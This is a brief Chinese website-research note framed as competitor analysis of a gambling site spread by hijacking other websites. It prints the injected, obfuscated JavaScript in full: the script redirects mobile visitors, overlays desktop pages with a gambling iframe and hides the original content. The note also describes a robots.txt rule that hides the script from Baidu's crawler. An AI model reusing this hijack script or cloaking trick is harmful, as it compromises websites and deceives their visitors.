20181110网站研究

竞品分析

  • 热购彩票（<>）: 通过劫持网站跳转到目标网站，推广人主要是：https://www.rgcp55.com/?att=rgyh2， js片段代码：
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    function goPAGE() {
        if ((navigator.userAgent.match(/(phone|pad|pod|iPhone|iPod|ios|iPad|Android|Mobile|BlackBerry|IEMobile|MQQBrowser|JUC|Fennec|wOSBrowser|BrowserNG|WebOS|Symbian|Windows Phone)/i))) {
            window.location.href = "https://www.rgcp55.com/?att=rgyh2"
        } else {
            var ss = '<center id="yangchen"><ifr' + 'ame scrolling="no" marginheight=0 marginwidth=0  frameborder="0" width="100%" width="14' + '00" height="13' + '50" src="https://www.rgcp55.com/?att=rgyh8"></iframe></center>';
            eval("do" + "cu" + "ment.wr" + "ite('" + ss + "');");
            try {
                setInterval(function() {
                    try {
                        document.getElementById("div" + "All").style.display = "no" + "ne"
                    } catch (e) {}
                    for (var i = 0; i < document.body.children.length; i++) {
                        try {
                            var tagname = document.body.children[i].tagName;
                            var myid = document.body.children[i].id;
                            if (myid != "iconDiv1" && myid != "yangchen") {
                                document.body.children[i].style.display = "non" + "e"
                            }
                        } catch (e) {}
                    }
                }, 100)
            } catch (e) {}
        }
    }
    goPAGE();

同时可能会修改robots.txt文件为屏蔽爬木马脚本：

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User-agent: baiduspider
Disallow: /*.js$

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curl www.da-wan.com -i
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HTTP/1.1 301 Moved Permanently
Content-Type: text/html; charset=UTF-8
Location: http://www.da-wan.com/default.php
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Sat, 10 Nov 2018 04:28:44 GMT
Content-Length: 156
<head><title>文档已移动</title></head>
<body><h1>对象已移动</h1>可在<a HREF="http://www.da-wan.com/default.php">此处</a>找到该文档</body>
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